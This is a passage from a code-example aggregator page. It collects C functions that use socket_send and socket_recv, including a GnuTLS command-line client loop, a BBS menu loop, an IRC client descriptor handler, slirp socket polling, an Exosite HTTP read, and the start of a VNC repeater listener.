  size_t session_id_size = 0;
  int user_term = 0, retval = 0;
  socket_st hd;
  ssize_t bytes;

  set_program_name (argv[0]);
  gaa_parser (argc, argv);

  gnutls_global_set_log_function (tls_log_func);
  gnutls_global_set_log_level (info.debug);

  if ((ret = gnutls_global_init ()) < 0)
    {
      fprintf (stderr, "global_init: %s\n", gnutls_strerror (ret));
      exit (1);
    }

#ifdef ENABLE_PKCS11
  pkcs11_common ();
#endif

  if (hostname == NULL)
    {
      fprintf (stderr, "No hostname given\n");
      exit (1);
    }

  sockets_init ();

#ifndef _WIN32
  signal (SIGPIPE, SIG_IGN);
#endif

  init_global_tls_stuff ();

  socket_open (&hd, hostname, service);
  socket_connect (&hd);

  hd.session = init_tls_session (hostname);
  if (starttls)
    goto after_handshake;

  for (i = 0; i < 2; i++)
    {


      if (i == 1)
        {
          hd.session = init_tls_session (hostname);
          gnutls_session_set_data (hd.session, session_data,
                                   session_data_size);
          free (session_data);
        }

      ret = do_handshake (&hd);

      if (ret < 0)
        {
          fprintf (stderr, "*** Handshake has failed\n");
          gnutls_perror (ret);
          gnutls_deinit (hd.session);
          return 1;
        }
      else
        {
          printf ("- Handshake was completed\n");
          if (gnutls_session_is_resumed (hd.session) != 0)
            printf ("*** This is a resumed session\n");
        }

      if (resume != 0 && i == 0)
        {

          gnutls_session_get_data (hd.session, NULL, &session_data_size);
          session_data = malloc (session_data_size);

          gnutls_session_get_data (hd.session, session_data,
                                   &session_data_size);

          gnutls_session_get_id (hd.session, NULL, &session_id_size);

          session_id = malloc (session_id_size);
          gnutls_session_get_id (hd.session, session_id, &session_id_size);

          /* print some information */
          print_info (hd.session, hostname, info.insecure);

          printf ("- Disconnecting\n");
          socket_bye (&hd);

          printf
            ("\n\n- Connecting again- trying to resume previous session\n");
          socket_open (&hd, hostname, service);
          socket_connect (&hd);
        }
      else
        {
          break;
        }
    }

after_handshake:

  /* Warning!  Do not touch this text string, it is used by external
     programs to search for when gnutls-cli has reached this point. */
  printf ("\n- Simple Client Mode:\n\n");

  if (rehandshake)
    {
      ret = do_handshake (&hd);

      if (ret < 0)
        {
          fprintf (stderr, "*** ReHandshake has failed\n");
          gnutls_perror (ret);
          gnutls_deinit (hd.session);
          return 1;
        }
      else
        {
          printf ("- ReHandshake was completed\n");
        }
    }

#ifndef _WIN32
  signal (SIGALRM, &starttls_alarm);
#endif

  fflush (stdout);
  fflush (stderr);

  /* do not buffer */
#if !(defined _WIN32 || defined __WIN32__)
  setbuf (stdin, NULL);
#endif
  setbuf (stdout, NULL);
  setbuf (stderr, NULL);

  for (;;)
    {
      if (starttls_alarmed && !hd.secure)
        {
          /* Warning!  Do not touch this text string, it is used by
             external programs to search for when gnutls-cli has
             reached this point. */
          fprintf (stderr, "*** Starting TLS handshake\n");
          ret = do_handshake (&hd);
          if (ret < 0)
            {
              fprintf (stderr, "*** Handshake has failed\n");
              user_term = 1;
              retval = 1;
              break;
            }
        }

      inp = check_net_or_keyboard_input(&hd);

      if (inp == IN_NET)
        {
          memset (buffer, 0, MAX_BUF + 1);
          ret = socket_recv (&hd, buffer, MAX_BUF);

          if (ret == 0)
            {
              printf ("- Peer has closed the GnuTLS connection\n");
              break;
            }
          else if (handle_error (&hd, ret) < 0 && user_term == 0)
            {
              fprintf (stderr,
                       "*** Server has terminated the connection abnormally.\n");
              retval = 1;
              break;
            }
          else if (ret > 0)
            {
              if (verbose != 0)
                printf ("- Received[%d]: ", ret);
              for (ii = 0; ii < ret; ii++)
                {
                  fputc (buffer[ii], stdout);
                }
              fflush (stdout);
            }

          if (user_term != 0)
            break;
        }

      if (inp == IN_KEYBOARD)
        {
          if ((bytes = read (fileno (stdin), buffer, MAX_BUF - 1)) <= 0)
            {
              if (hd.secure == 0)
                {
                  /* Warning!  Do not touch this text string, it is
                     used by external programs to search for when
                     gnutls-cli has reached this point. */
                  fprintf (stderr, "*** Starting TLS handshake\n");
                  ret = do_handshake (&hd);
                  clearerr (stdin);
                  if (ret < 0)
                    {
                      fprintf (stderr, "*** Handshake has failed\n");
                      user_term = 1;
                      retval = 1;
                      break;
                    }
                }
              else
                {
                  user_term = 1;
                  break;
                }
              continue;
            }

          buffer[bytes] = 0;
          if (crlf != 0)
            {
              char *b = strchr (buffer, '\n');
              if (b != NULL)
                {
                  strcpy (b, "\r\n");
                  bytes++;
                }
            }

          ret = socket_send (&hd, buffer, bytes);

          if (ret > 0)
            {
              if (verbose != 0)
                printf ("- Sent: %d bytes\n", ret);
            }
          else
            handle_error (&hd, ret);

        }
    }

  if (user_term != 0)
    socket_bye (&hd);
  else
    gnutls_deinit (hd.session);

#ifdef ENABLE_SRP
  if (srp_cred)
    gnutls_srp_free_client_credentials (srp_cred);
#endif
#ifdef ENABLE_PSK
  if (psk_cred)
    gnutls_psk_free_client_credentials (psk_cred);
#endif

  gnutls_certificate_free_credentials (xcred);

#ifdef ENABLE_ANON
  gnutls_anon_free_client_credentials (anon_cred);
#endif

  gnutls_global_deinit ();

  return retval;
}
Ejemplo n.º 21
0
void menu()
{
    FILE    *pMenuFile;
    int	    Key, IsANSI;
    char    temp[81], *Input, *sMenuPathFileName, buf[81];

    Input = calloc(PATH_MAX, sizeof(char));
    sMenuPathFileName = calloc(PATH_MAX, sizeof(char));
    Syslog('+', "Starting menu loop");

    /* 
     * Loop forever, this is what a BBS should do until a user logs out.
     */
    while (TRUE) {

	WhosDoingWhat(BROWSING, NULL);

	/*
	 * Open menufile, first users language menu, if it fails
	 * try to open the default menu.
	 */
	snprintf(sMenuPathFileName, PATH_MAX, "%s/share/int/menus/%s/%s", getenv("FTND_ROOT"), lang.lc, Menus[MenuLevel]);
	if ((pMenuFile = fopen(sMenuPathFileName, "r")) == NULL) {
	    snprintf(sMenuPathFileName, PATH_MAX, "%s/share/int/menus/%s/%s", getenv("FTND_ROOT"), CFG.deflang, Menus[MenuLevel]);
	    pMenuFile = fopen(sMenuPathFileName,"r");
	    if (pMenuFile != NULL)
		Syslog('b', "Menu %s (Default)", Menus[MenuLevel]);
	} else {
	    Syslog('b', "Menu %s (%s)", Menus[MenuLevel], lang.Name);
	}

	if (pMenuFile == NULL) {
	    clear();
	    WriteError("Can't open menu file: %s", sMenuPathFileName);
	    MenuError++;

	    /*
	     * Is this the last attempt to open the default menu?
	     */
	    if (MenuError == 10) {
		WriteError("FATAL ERROR: Too many menu errors");
		snprintf(temp, 81, "Too many menu errors, notifying Sysop\r\n\r\n");
		PUTSTR(temp);
		sleep(3);
		die(FTNERR_CONFIG_ERROR);
	    }

	    /*
	     * Switch back to the default menu
	     */
	    MenuLevel = 0;
	    strcpy(Menus[0], CFG.default_menu);
	} else {
	    /*
	     * Display Menu Text Fields and Perform all autoexec menus in order of menu file.
	     * First check if there are any ANSI menus, if not, send a clearscreen first.
	     */
	    IsANSI = FALSE;
	    while (fread(&menus, sizeof(menus), 1, pMenuFile) == 1) {
		if ( Le_Access(exitinfo.Security, menus.MenuSecurity) && (UserAge >= le_int(menus.Age))){
		    if ((le_int(menus.MenuType) == 5) || (le_int(menus.MenuType) == 19) || (le_int(menus.MenuType) == 20))
			IsANSI = TRUE;
		}
	    }
	    fseek(pMenuFile, 0, SEEK_SET);
	    if (! IsANSI)
		clear();

	    while (fread(&menus, sizeof(menus), 1, pMenuFile) == 1) {
		if ( Le_Access(exitinfo.Security, menus.MenuSecurity) && (UserAge >= le_int(menus.Age))){
		    if (menus.AutoExec) {
			DoMenu( le_int(menus.MenuType) );
		    }
		    DisplayMenu( ); 
		}
	    }

	    /*
	     * Check if the BBS closed down for Zone Mail Hour or
	     * system shutdown. If so, we run the Goodbye show.
	     */
	    if (CheckStatus() == FALSE) {
		fclose(pMenuFile);
		Syslog('+', "Kicking user out, the BBS is closed.");
		sleep(3);
		Good_Bye(FTNERR_OK);
	    }

	    /*
	     * Check the upsdown semafore
	     */
	    if (IsSema((char *)"upsdown")) {
		fclose(pMenuFile);
		Syslog('+', "Kicking user out, upsdown semafore detected");
		snprintf(temp, 81, "System power failure, closing the bbs");
		PUTSTR(temp);
		Enter(2);
		sleep(3);
		Good_Bye(FTNERR_OK);
	    }

	    /*
	     * Check if SysOp wants to chat to user everytime user gets prompt.
	     */
	    if (CFG.iChatPromptChk) {
		snprintf(buf, 81, "CISC:1,%d", mypid);
		if (socket_send(buf) == 0) {
		    strcpy(buf, socket_receive());
		    if (strcmp(buf, "100:1,1;") == 0) {
			Syslog('+', "Forced sysop/user chat");
			Chat(exitinfo.Name, (char *)"#sysop");
			continue;
		    }
		}
	    }

	    /*
	     * Check users timeleft
	     */
	    TimeCheck();
	    alarm_on();

	    if (exitinfo.HotKeys) {
		Key = Readkey();
		snprintf(Input, 81, "%c", Key);
		Enter(1);
	    } else {
		colour(CFG.InputColourF, CFG.InputColourB);
		GetstrC(Input, 80);
	    }

	    if ((strcmp(Input, "")) != 0) {

		fseek(pMenuFile, 0, SEEK_SET);

		while (fread(&menus, sizeof(menus), 1, pMenuFile) == 1) {
		 
		    if ((strcmp(tu(Input), menus.MenuKey)) == 0) {
			if ((Le_Access(exitinfo.Security, menus.MenuSecurity)) && (UserAge >= le_int(menus.Age))) {
			    Syslog('+', "Menu[%d] %d=(%s), Opt: '%s'", MenuLevel, le_int(menus.MenuType), 
					menus.TypeDesc, menus.OptionalData);
			    if (le_int(menus.MenuType) == 13) {
				/*
				 *  Terminate call, cleanup here
				 */
				free(Input);
				free(sMenuPathFileName);
				fclose(pMenuFile);
			    }
			    DoMenu(le_int(menus.MenuType));
			    break;
			}
		    }
		}
	    }
	    fclose(pMenuFile);

	} /* If menu open */
    } /* while true */
}
Ejemplo n.º 22
0
int irc_process_select_descriptors (irc_session_t * session, fd_set *in_set, fd_set *out_set)
{
	char buf[256], hname[256];

	if ( session->sock < 0
	|| session->state == LIBIRC_STATE_INIT
	|| session->state == LIBIRC_STATE_DISCONNECTED )
	{
		session->lasterror = LIBIRC_ERR_STATE;
		return 1;
	}

	libirc_dcc_process_descriptors (session, in_set, out_set);

	// Handle "connection succeed" / "connection failed"
	if ( session->state == LIBIRC_STATE_CONNECTING
	&& FD_ISSET (session->sock, out_set) )
	{
		// Now we have to determine whether the socket is connected
		// or the connect is failed
		struct sockaddr_in saddr, laddr;
		socklen_t slen = sizeof(saddr);
		socklen_t llen = sizeof(laddr);

		if ( getsockname (session->sock, (struct sockaddr*)&laddr, &llen) < 0
		|| getpeername (session->sock, (struct sockaddr*)&saddr, &slen) < 0 )
		{
			// connection failed
			session->lasterror = LIBIRC_ERR_CONNECT;
			session->state = LIBIRC_STATE_DISCONNECTED;
			return 1;
		}

		memcpy (&session->local_addr, &laddr.sin_addr, sizeof(session->local_addr));

#if defined (ENABLE_DEBUG)
		if ( IS_DEBUG_ENABLED(session) )
			fprintf (stderr, "[DEBUG] Detected local address: %s\n", inet_ntoa(session->local_addr));
#endif

		session->state = LIBIRC_STATE_CONNECTED;

		// Get the hostname
    	if ( gethostname (hname, sizeof(hname)) < 0 )
    		strcpy (hname, "unknown");

		// Prepare the data, which should be sent to the server
		if ( session->server_password )
		{
			snprintf (buf, sizeof(buf), "PASS %s", session->server_password);
			irc_send_raw (session, buf);
		}

		snprintf (buf, sizeof(buf), "NICK %s", session->nick);
		irc_send_raw (session, buf);

		/*
		 * RFC 1459 states that "hostname and servername are normally
         * ignored by the IRC server when the USER command comes from
         * a directly connected client (for security reasons)", therefore
         * we don't need them.
         */
		snprintf (buf, sizeof(buf), "USER %s unknown unknown :%s",
				session->username ? session->username : "******",
				session->realname ? session->realname : "noname");
		irc_send_raw (session, buf);

		return 0;
	}

	if ( session->state != LIBIRC_STATE_CONNECTED )
		return 1;

	// Hey, we've got something to read!
	if ( FD_ISSET (session->sock, in_set) )
	{
		int length, offset;

		unsigned int amount = (sizeof (session->incoming_buf) - 1) - session->incoming_offset;
		length = socket_recv (&session->sock, session->incoming_buf + session->incoming_offset, amount);

		if ( length <= 0 )
		{
			session->lasterror = (length == 0 ? LIBIRC_ERR_CLOSED : LIBIRC_ERR_TERMINATED);
			session->state = LIBIRC_STATE_DISCONNECTED;
			return 1;
		}

		session->incoming_offset += length;

		// process the incoming data
		while ( (offset = libirc_findcrlf (session->incoming_buf, session->incoming_offset)) > 0 )
		{
#if defined (ENABLE_DEBUG)
			if ( IS_DEBUG_ENABLED(session) )
				libirc_dump_data ("RECV", session->incoming_buf, offset);
#endif
			// parse the string
			libirc_process_incoming_data (session, offset - 2);

			if ( session->incoming_offset - offset > 0 )
				memmove (session->incoming_buf, session->incoming_buf + offset, session->incoming_offset - offset);

			session->incoming_offset -= offset;
		}
	}

	// We can write a stored buffer
	if ( FD_ISSET (session->sock, out_set) )
	{
		int length;

		// Because outgoing_buf could be changed asynchronously, we should
		// lock any change
		libirc_mutex_lock (&session->mutex_session);
		length = socket_send (&session->sock, session->outgoing_buf, session->outgoing_offset);

		if ( length <= 0 )
		{
			session->lasterror = (length == 0 ? LIBIRC_ERR_CLOSED : LIBIRC_ERR_TERMINATED);
			session->state = LIBIRC_STATE_DISCONNECTED;

			libirc_mutex_unlock (&session->mutex_session);
			return 1;
		}

#if defined (ENABLE_DEBUG)
		if ( IS_DEBUG_ENABLED(session) )
			libirc_dump_data ("SEND", session->outgoing_buf, length);
#endif

		if ( session->outgoing_offset - length > 0 )
			memmove (session->outgoing_buf, session->outgoing_buf + length, session->outgoing_offset - length);

		session->outgoing_offset -= length;
		libirc_mutex_unlock (&session->mutex_session);
	}

	return 0;
}
Ejemplo n.º 23
0
/*
 * Write data from so_rcv to so's socket,
 * updating all sbuf field as necessary
 */
int
sowrite(struct socket *so)
{
	int  n,nn;
	struct sbuf *sb = &so->so_rcv;
	int len = sb->sb_cc;
	struct iovec iov[2];

	DEBUG_CALL("sowrite");
	DEBUG_ARG("so = %lx", (long)so);

	if (so->so_urgc) {
		sosendoob(so);
		if (sb->sb_cc == 0)
			return 0;
	}

	/*
	 * No need to check if there's something to write,
	 * sowrite wouldn't have been called otherwise
	 */

        len = sb->sb_cc;

	iov[0].iov_base = sb->sb_rptr;
        iov[1].iov_base = NULL;
        iov[1].iov_len = 0;
	if (sb->sb_rptr < sb->sb_wptr) {
		iov[0].iov_len = sb->sb_wptr - sb->sb_rptr;
		/* Should never succeed, but... */
		if (iov[0].iov_len > len) iov[0].iov_len = len;
		n = 1;
	} else {
		iov[0].iov_len = (sb->sb_data + sb->sb_datalen) - sb->sb_rptr;
		if (iov[0].iov_len > len) iov[0].iov_len = len;
		len -= iov[0].iov_len;
		if (len) {
			iov[1].iov_base = sb->sb_data;
			iov[1].iov_len = sb->sb_wptr - sb->sb_data;
			if (iov[1].iov_len > len) iov[1].iov_len = len;
			n = 2;
		} else
			n = 1;
	}
	/* Check if there's urgent data to send, and if so, send it */

#ifdef HAVE_READV
	nn = writev(so->s, (const struct iovec *)iov, n);

	DEBUG_MISC((dfd, "  ... wrote nn = %d bytes\n", nn));
#else
	nn = socket_send(so->s, iov[0].iov_base, iov[0].iov_len);
#endif
	/* This should never happen, but people tell me it does *shrug* */
	if (nn < 0 && (errno == EAGAIN || errno == EINTR))
		return 0;

	if (nn <= 0) {
		DEBUG_MISC((dfd, " --- sowrite disconnected, so->so_state = %x, errno = %d\n",
			so->so_state, errno));
		sofcantsendmore(so);
		tcp_sockclosed(sototcpcb(so));
		return -1;
	}

#ifndef HAVE_READV
	if (n == 2 && nn == iov[0].iov_len) {
            int ret;
            ret = socket_send(so->s, iov[1].iov_base, iov[1].iov_len);
            if (ret > 0)
                nn += ret;
        }
        DEBUG_MISC((dfd, "  ... wrote nn = %d bytes\n", nn));
#endif

	/* Update sbuf */
	sb->sb_cc -= nn;
	sb->sb_rptr += nn;
	if (sb->sb_rptr >= (sb->sb_data + sb->sb_datalen))
		sb->sb_rptr -= sb->sb_datalen;

	/*
	 * If in DRAIN mode, and there's no more data, set
	 * it CANTSENDMORE
	 */
	if ((so->so_state & SS_FWDRAIN) && sb->sb_cc == 0)
		sofcantsendmore(so);

	return nn;
}
Ejemplo n.º 24
0
void slirp_select_poll(fd_set *readfds, fd_set *writefds, fd_set *xfds)
{
    struct socket *so, *so_next;
    int ret;

    global_readfds = readfds;
    global_writefds = writefds;
    global_xfds = xfds;

	/* Update time */
	updtime();

	/*
	 * See if anything has timed out
	 */
	if (link_up) {
		if (time_fasttimo && ((curtime - time_fasttimo) >= 2)) {
			tcp_fasttimo();
			time_fasttimo = 0;
		}
		if (do_slowtimo && ((curtime - last_slowtimo) >= 499)) {
			ip_slowtimo();
			tcp_slowtimo();
			last_slowtimo = curtime;
		}
	}

	/*
	 * Check sockets
	 */
	if (link_up) {
		/*
		 * Check TCP sockets
		 */
		for (so = tcb.so_next; so != &tcb; so = so_next) {
			so_next = so->so_next;

			/*
			 * FD_ISSET is meaningless on these sockets
			 * (and they can crash the program)
			 */
			if (so->so_state & SS_NOFDREF || so->s == -1)
			   continue;

            /*
             * proxified sockets are polled later in this
             * function.
             */
            if ((so->so_state & SS_PROXIFIED) != 0)
                continue;

			/*
			 * Check for URG data
			 * This will soread as well, so no need to
			 * test for readfds below if this succeeds
			 */
			if (FD_ISSET(so->s, xfds))
			   sorecvoob(so);
			/*
			 * Check sockets for reading
			 */
			else if (FD_ISSET(so->s, readfds)) {
				/*
				 * Check for incoming connections
				 */
				if (so->so_state & SS_FACCEPTCONN) {
					tcp_connect(so);
					continue;
				} /* else */
				ret = soread(so);

				/* Output it if we read something */
				if (ret > 0)
				   tcp_output(sototcpcb(so));
			}

			/*
			 * Check sockets for writing
			 */
			if (FD_ISSET(so->s, writefds)) {
			  /*
			   * Check for non-blocking, still-connecting sockets
			   */
			  if (so->so_state & SS_ISFCONNECTING) {
			    /* Connected */
			    so->so_state &= ~SS_ISFCONNECTING;

			    ret = socket_send(so->s, (const void *)&ret, 0);
			    if (ret < 0) {
			      /* XXXXX Must fix, zero bytes is a NOP */
			      if (errno == EAGAIN || errno == EWOULDBLOCK ||
				  errno == EINPROGRESS || errno == ENOTCONN)
				continue;

			      /* else failed */
			      so->so_state = SS_NOFDREF;
			    }
			    /* else so->so_state &= ~SS_ISFCONNECTING; */

			    /*
			     * Continue tcp_input
			     */
			    tcp_input((struct mbuf *)NULL, sizeof(struct ip), so);
			    /* continue; */
			  } else
			    ret = sowrite(so);
			  /*
			   * XXXXX If we wrote something (a lot), there
			   * could be a need for a window update.
			   * In the worst case, the remote will send
			   * a window probe to get things going again
			   */
			}

			/*
			 * Probe a still-connecting, non-blocking socket
			 * to check if it's still alive
	 	 	 */
#ifdef PROBE_CONN
			if (so->so_state & SS_ISFCONNECTING) {
			  ret = socket_recv(so->s, (char *)&ret, 0);

			  if (ret < 0) {
			    /* XXX */
			    if (errno == EAGAIN || errno == EWOULDBLOCK ||
				errno == EINPROGRESS || errno == ENOTCONN)
			      continue; /* Still connecting, continue */

			    /* else failed */
			    so->so_state = SS_NOFDREF;

			    /* tcp_input will take care of it */
			  } else {
			    ret = socket_send(so->s, &ret, 0);
			    if (ret < 0) {
			      /* XXX */
			      if (errno == EAGAIN || errno == EWOULDBLOCK ||
				  errno == EINPROGRESS || errno == ENOTCONN)
				continue;
			      /* else failed */
			      so->so_state = SS_NOFDREF;
			    } else
			      so->so_state &= ~SS_ISFCONNECTING;

			  }
			  tcp_input((struct mbuf *)NULL, sizeof(struct ip),so);
			} /* SS_ISFCONNECTING */
#endif
		}

		/*
		 * Now UDP sockets.
		 * Incoming packets are sent straight away, they're not buffered.
		 * Incoming UDP data isn't buffered either.
		 */
		for (so = udb.so_next; so != &udb; so = so_next) {
			so_next = so->so_next;

            if ((so->so_state & SS_PROXIFIED) != 0)
                continue;

			if (so->s != -1 && FD_ISSET(so->s, readfds)) {
                            sorecvfrom(so);
                        }
		}
	}

    /*
     * Now the proxified sockets
     */
    proxy_manager_poll(readfds, writefds, xfds);

	/*
	 * See if we can start outputting
	 */
	if (if_queued && link_up)
	   if_start();

	/* clear global file descriptor sets.
	 * these reside on the stack in vl.c
	 * so they're unusable if we're not in
	 * slirp_select_fill or slirp_select_poll.
	 */
	 global_readfds = NULL;
	 global_writefds = NULL;
	 global_xfds = NULL;
}
Ejemplo n.º 25
0
int
main (int argc, char **argv)
{
  int err, ret;
  int ii, i;
  char buffer[MAX_BUF + 1];
  char *session_data = NULL;
  char *session_id = NULL;
  size_t session_data_size;
  size_t session_id_size;
  fd_set rset;
  int maxfd;
  struct timeval tv;
  int user_term = 0, retval = 0;
  socket_st hd;
  ssize_t bytes;

  set_program_name (argv[0]);

  gcry_control (GCRYCTL_ENABLE_QUICK_RANDOM, 0);

#ifdef gcry_fips_mode_active
  /* Libgcrypt manual says that gcry_version_check must be called
     before calling gcry_fips_mode_active. */
  gcry_check_version (NULL);
  if (gcry_fips_mode_active ())
    {
      ret = gnutls_register_md5_handler ();
      if (ret)
	fprintf (stderr, "gnutls_register_md5_handler: %s\n",
		 gnutls_strerror (ret));
    }
#endif

  if ((ret = gnutls_global_init ()) < 0)
    {
      fprintf (stderr, "global_init: %s\n", gnutls_strerror (ret));
      exit (1);
    }

  if ((ret = gnutls_global_init_extra ()) < 0)
    {
      fprintf (stderr, "global_init_extra: %s\n", gnutls_strerror (ret));
      exit (1);
    }

  gaa_parser (argc, argv);
  if (hostname == NULL)
    {
      fprintf (stderr, "No hostname given\n");
      exit (1);
    }

  gnutls_global_set_log_function (tls_log_func);
  gnutls_global_set_log_level (info.debug);

  sockets_init ();

#ifndef _WIN32
  signal (SIGPIPE, SIG_IGN);
#endif

  init_global_tls_stuff ();

  socket_open (&hd, hostname, service);
  socket_connect (&hd);

  hd.session = init_tls_session (hostname);
  if (starttls)
    goto after_handshake;

  for (i = 0; i < 2; i++)
    {


      if (i == 1)
	{
	  hd.session = init_tls_session (hostname);
	  gnutls_session_set_data (hd.session, session_data,
				   session_data_size);
	  free (session_data);
	}

      ret = do_handshake (&hd);

      if (ret < 0)
	{
	  fprintf (stderr, "*** Handshake has failed\n");
	  gnutls_perror (ret);
	  gnutls_deinit (hd.session);
	  return 1;
	}
      else
	{
	  printf ("- Handshake was completed\n");
	  if (gnutls_session_is_resumed (hd.session) != 0)
	    printf ("*** This is a resumed session\n");
	}

      if (resume != 0 && i == 0)
	{

	  gnutls_session_get_data (hd.session, NULL, &session_data_size);
	  session_data = malloc (session_data_size);

	  gnutls_session_get_data (hd.session, session_data,
				   &session_data_size);

	  gnutls_session_get_id (hd.session, NULL, &session_id_size);
	  session_id = malloc (session_id_size);
	  gnutls_session_get_id (hd.session, session_id, &session_id_size);

	  /* print some information */
	  print_info (hd.session, hostname, info.insecure);

	  printf ("- Disconnecting\n");
	  socket_bye (&hd);

	  printf
	    ("\n\n- Connecting again- trying to resume previous session\n");
	  socket_open (&hd, hostname, service);
	  socket_connect (&hd);
	}
      else
	{
	  break;
	}
    }

after_handshake:

  /* Warning!  Do not touch this text string, it is used by external
     programs to search for when gnutls-cli has reached this point. */
  printf ("\n- Simple Client Mode:\n\n");

  if (rehandshake)
    {
      ret = do_handshake (&hd);

      if (ret < 0)
	{
	  fprintf (stderr, "*** ReHandshake has failed\n");
	  gnutls_perror (ret);
	  gnutls_deinit (hd.session);
	  return 1;
	}
      else
	{
	  printf ("- ReHandshake was completed\n");
	}
    }

#ifndef _WIN32
  signal (SIGALRM, &starttls_alarm);
#endif

  fflush(stdout);
  fflush(stderr);

  /* do not buffer */
#if !(defined _WIN32 || defined __WIN32__)
  setbuf (stdin, NULL);
#endif
  setbuf (stdout, NULL);
  setbuf (stderr, NULL);

  for (;;)
    {
      if (starttls_alarmed && !hd.secure)
	{
	  /* Warning!  Do not touch this text string, it is used by
	     external programs to search for when gnutls-cli has
	     reached this point. */
	  fprintf (stderr, "*** Starting TLS handshake\n");
	  ret = do_handshake (&hd);
	  if (ret < 0)
	    {
	      fprintf (stderr, "*** Handshake has failed\n");
	      user_term = 1;
	      retval = 1;
	      break;
	    }
	}

      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (hd.fd, &rset);

      maxfd = MAX (fileno (stdin), hd.fd);
      tv.tv_sec = 3;
      tv.tv_usec = 0;

      err = select (maxfd + 1, &rset, NULL, NULL, &tv);
      if (err < 0)
	continue;

      if (FD_ISSET (hd.fd, &rset))
	{
	  memset (buffer, 0, MAX_BUF + 1);
	  ret = socket_recv (&hd, buffer, MAX_BUF);

	  if (ret == 0)
	    {
	      printf ("- Peer has closed the GnuTLS connection\n");
	      break;
	    }
	  else if (handle_error (&hd, ret) < 0 && user_term == 0)
	    {
	      fprintf (stderr,
		       "*** Server has terminated the connection abnormally.\n");
	      retval = 1;
	      break;
	    }
	  else if (ret > 0)
	    {
	      if (verbose != 0)
		printf ("- Received[%d]: ", ret);
	      for (ii = 0; ii < ret; ii++)
		{
		  fputc (buffer[ii], stdout);
		}
	      fflush (stdout);
	    }

	  if (user_term != 0)
	    break;
	}

      if (FD_ISSET (fileno (stdin), &rset))
	{
	  if ((bytes = read (fileno (stdin), buffer, MAX_BUF - 1)) <= 0)
	    {
	      if (hd.secure == 0)
		{
		  /* Warning!  Do not touch this text string, it is
		     used by external programs to search for when
		     gnutls-cli has reached this point. */
		  fprintf (stderr, "*** Starting TLS handshake\n");
		  ret = do_handshake (&hd);
		  clearerr (stdin);
		  if (ret < 0)
		    {
		      fprintf (stderr, "*** Handshake has failed\n");
		      user_term = 1;
		      retval = 1;
		      break;
		    }
		}
	      else
		{
		  user_term = 1;
		  break;
		}
	      continue;
	    }

	  if (crlf != 0)
	    {
	      char *b = strchr (buffer, '\n');
	      if (b != NULL)
		{
		  strcpy (b, "\r\n");
		  bytes++;
		}
	    }

	  ret = socket_send (&hd, buffer, bytes);

	  if (ret > 0)
	    {
	      if (verbose != 0)
		printf ("- Sent: %d bytes\n", ret);
	    }
	  else
	    handle_error (&hd, ret);

	}
    }

  if (info.debug)
    gcry_control (GCRYCTL_DUMP_RANDOM_STATS);

  if (user_term != 0)
    socket_bye (&hd);
  else
    gnutls_deinit (hd.session);

#ifdef ENABLE_SRP
  if (srp_cred)
    gnutls_srp_free_client_credentials (srp_cred);
#endif
#ifdef ENABLE_PSK
  if (psk_cred)
    gnutls_psk_free_client_credentials (psk_cred);
#endif

  gnutls_certificate_free_credentials (xcred);

#ifdef ENABLE_ANON
  gnutls_anon_free_client_credentials (anon_cred);
#endif

  gnutls_global_deinit ();

  return retval;
}
/*
*********************************************************************************************************
* NOTE: 'pkey' must be urlencoded
*       'pbuf' is returned urlencoded and must be decoded by the caller.
*********************************************************************************************************
*/
CPU_SIZE_T Exosite_Read(CPU_CHAR *pkey, CPU_CHAR *pbuf, CPU_SIZE_T buflen)
{
    NET_SOCK_ID  sock;
    CPU_SIZE_T   len, klen, vlen, rxlen;
    CPU_CHAR    *p,  *pcheck;
    CPU_CHAR     rx[RX_SIZE];

    vlen = 0;
    klen = Str_Len(pkey);
    pcheck = pkey;

    sock = socket_open();

    if (-1 == sock)
    {
        return vlen;
    }

    if (
        24         != socket_send(sock, "GET /api:v1/stack/alias?", 24) ||
        klen       != socket_send(sock, pkey, klen) ||
        12         != socket_send(sock, "= HTTP/1.1\r\n", 12) ||
        22         != socket_send(sock, "Host: m2.exosite.com\r\n", 22) ||
        15         != socket_send(sock, "X-Exosite-CIK: ", 15) ||
        CIK_LENGTH != socket_send(sock, CIK, CIK_LENGTH) ||
        2          != socket_send(sock, "\r\n", 2) ||
        58         != socket_send(sock, "Accept: application/x-www-form-urlencoded; charset=utf-8\r\n", 58) ||
        2          != socket_send(sock, "\r\n", 2)
    )
    {
        socket_close(sock);
        return vlen;
    }

    // @HTTP/x.x NNN@
    rxlen = socket_recv(sock, rx, 12);

    if (12 == rxlen && '2' == rx[9] && '0' == rx[10] && '0' == rx[11])
    {
        CPU_CHAR crlf = 0;

        do
        {
            rxlen = socket_recv(sock, rx, RX_SIZE);
            len = rxlen;
            p = rx;

            // Find 4 consecutive \r or \n - should be: \r\n\r\n
            while (0 < len && 4 > crlf)
            {
                if ('\r' == *p || '\n' == *p)
                {
                    ++crlf;
                }
                else
                {
                    crlf = 0;
                }
                ++p;
                --len;
            }

            // The body is "<key>=<value>"
            if (0 < len && 4 == crlf && buflen > vlen)
            {
                // Move past "<key>"
                while (0 < len && 0 != *pcheck)
                {
                    if (*pcheck == *p)
                    {
                        ++pcheck;
                    }
                    else
                    {
                        pcheck = pkey;
                    }
                    ++p;
                    --len;
                }

                // Match '=',  we should now have '<key>='
                if (0 < len && 0 == *pcheck && '=' == *p)
                {
                    ++p;
                    --len;
                }

                // read in the rest of the body as the value
                while (0 < len && buflen > vlen)
                {
                    pbuf[vlen++] = *p++;
                    --len;
                }
            }
        } while (RX_SIZE == rxlen);
    }

    socket_close(sock);
    return vlen;
}
Ejemplo n.º 27
0
THREAD_CALL viewer_listen(LPVOID lpParam)
{
	listener_thread_params *thread_params = (listener_thread_params *)lpParam;
	SOCKET conn;
	struct sockaddr_in client;
  socklen_t socklen = sizeof(client);
	rfbProtocolVersionMsg protocol_version; 
	CARD32 auth_type;
	CARD32 auth_response;
	CARD8 client_init;
	unsigned char challenge[CHALLENGESIZE];
	char *ip_addr;

	thread_params->sock = create_listener_socket( thread_params->port );
	if (thread_params->sock == INVALID_SOCKET)
		notstopped = false;
  else
    logp(DEBUG, "Listening for incoming viewer connections on port %d.", thread_params->port);

	while(notstopped)
	{
		conn = socket_accept(thread_params->sock, (struct sockaddr *)&client, &socklen);
		if (conn == INVALID_SOCKET) {
			if (notstopped) logp(ERROR, "viewer_listen(): accept() failed, errno=%d", getLastErrNo());
		} else {
			ip_addr = inet_ntoa(client.sin_addr); /* IP Address for monitoring purposes */
			logp(INFO, "Viewer (socket=%d) connection accepted from %s.", conn, ip_addr);

